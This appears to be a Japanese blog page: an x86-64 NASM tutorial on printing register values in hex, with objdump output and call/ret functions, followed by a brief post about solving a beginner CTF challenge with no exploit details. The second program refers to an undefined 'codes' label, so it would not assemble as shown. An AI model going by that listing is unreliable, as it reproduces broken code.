    ; 先の_startで設定したカウンタレジスタ内に16バイト分の数値を設定し、それを減算することにより文字列を出力する。
    push rax    
    ; raxの値を退避させることにより、値を保持。
    sub rcx, 4  
    sar rax, cl
    and rax, 0xf
    lea rsi, [codes + rax]
    ;[codes + rax]は相対アドレスを意味する。
    mov rax, 1
    push rcx
    syscall
    pop rcx
    pop rax
    test rcx, rcx
    jnz .loop
    ; testで0でないことを確認してから、.loopへ飛ばす。
    ; 文字数がなくなった時点でloop処理を終了し、exitする。
    mov rax, 60
    xor rdi, rdi
    syscall

.loopのように先頭にピリオドを配置することにより局所的なラベルとして機能する。

今回の場合_start.loopという扱いになる。

$ objdump -D ./print_rax

./print_rax:     ファイル形式 elf64-x86-64


セクション .text の逆アセンブル:

00000000004000b0 <_start>:
  4000b0:       48 b8 88 77 66 55 44    movabs $0x1122334455667788,%rax
  4000b7:       33 22 11
  4000ba:       bf 01 00 00 00          mov    $0x1,%edi

  4000bf:       ba 01 00 00 00          mov    $0x1,%edx
  4000c4:       b9 40 00 00 00          mov    $0x40,%ecx
  4000c9:       eb 00                   jmp    4000cb <_start.loop>

00000000004000cb <_start.loop>:
  4000cb:       50                      push   %rax
  4000cc:       48 83 e9 04             sub    $0x4,%rcx
  4000d0:       48 d3 f8                sar    %cl,%rax
  4000d3:       48 83 e0 0f             and    $0xf,%rax
  4000d7:       48 8d b0 f8 00 60 00    lea    0x6000f8(%rax),%rsi
  4000de:       b8 01 00 00 00          mov    $0x1,%eax
  4000e3:       51                      push   %rcx
  4000e4:       0f 05                   syscall
  4000e6:       59                      pop    %rcx
  4000e7:       58                      pop    %rax
  4000e8:       48 85 c9                test   %rcx,%rcx
  4000eb:       75 de                   jne    4000cb <_start.loop>
  4000ed:       b8 3c 00 00 00          mov    $0x3c,%eax
  4000f2:       48 31 ff                xor    %rdi,%rdi
  4000f5:       0f 05                   syscall

セクション .data の逆アセンブル:

00000000006000f8 <codes>:
  6000f8:       30 31                   xor    %dh,(%rcx)
  6000fa:       32 33                   xor    (%rbx),%dh
  6000fc:       34 35                   xor    $0x35,%al
  6000fe:       36                      ss
  6000ff:       37                      (bad)
  600100:       38 39                   cmp    %bh,(%rcx)
  600102:       41                      rex.B
  600103:       42                      rex.X
  600104:       43                      rex.XB
  600105:       44                      rex.R
  600106:       45                      rex.RB
  600107:       46                      rex.RX

関数のcall

いままではラベルを利用して、jampしそこで実行されるなどを行ってきたが、実際に関数をコールしたいと思う。

push rip
jmp <address>

このようにコールする際は、ripをstack内に保存し、ジャンプする。

関数の利用

実際に関数を利用し、printを実装する。

アセンブラで関数を実装するのには特にラベルとの違うところはない。

主に、異なる箇所は、retやpushによる値の保存を行っているところであろう。

section .data

demo1: dq 0x1122334455667788
demo2: db 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88
demo3: db '0123456789abcdef'
newline_char: db 10

section .text
global _start

print_newline:
    ; いつもの初期設定
    mov rax, 1
    mov rdi, 1
    mov rsi, newline_char
    mov rdx, 1
    syscall
    ret

print_hex:
    mov rax, rdi
    mov rdi, 1
    mov rdx, 1
    mov rcx, 64
    ; rax をシフトするビット数

iterate:
    push rax
    sub rcx, 4
    sar rax, cl
    ; 右にシフト回転させる
    and rax, 0xf
    ; 下位4ビット以外を初期化
    lea rsi, [codes + rax]
    ; 16進数の文字コードを取得
    mov rax, 1
    push rcx ; write自体がrcxを破壊するので退避する。
    syscall
    pop rcx
    pop rax
    test rcx, rcx
    jnz iterate
    ret

_start:
    mov rdi, [demo1]
    ; [demo1]がdemo1の先頭アドレスをを与える。
    call print_hex
    call print_newline

    mov rdi, [demo2]
    call print_hex
    call print_newline

    mov rdi, [demo3]
    call print_hex
    call print_newline

    mov rax, 60
    xor rdi, rdi
    syscall

何かあれば追記する。

登竜門的なものを叩いてみる話 #02

書き出し

記事を解いたら解けた。

前回の記事の継続です。

本文

年明けから考えてた目標を一つクリアしたので満足しています。

知識的に前回の記事の知識と、 azara.hatenablog.com

katagaitai CTF勉強会の#2のスライドを読んだら解けたので困っている人がいたら読んでみてください。

画像群

f:id:oukasakura3:20190216182240p:plain
villeger Bを解いた
f:id:oukasakura3:20190216182237p:plain
証跡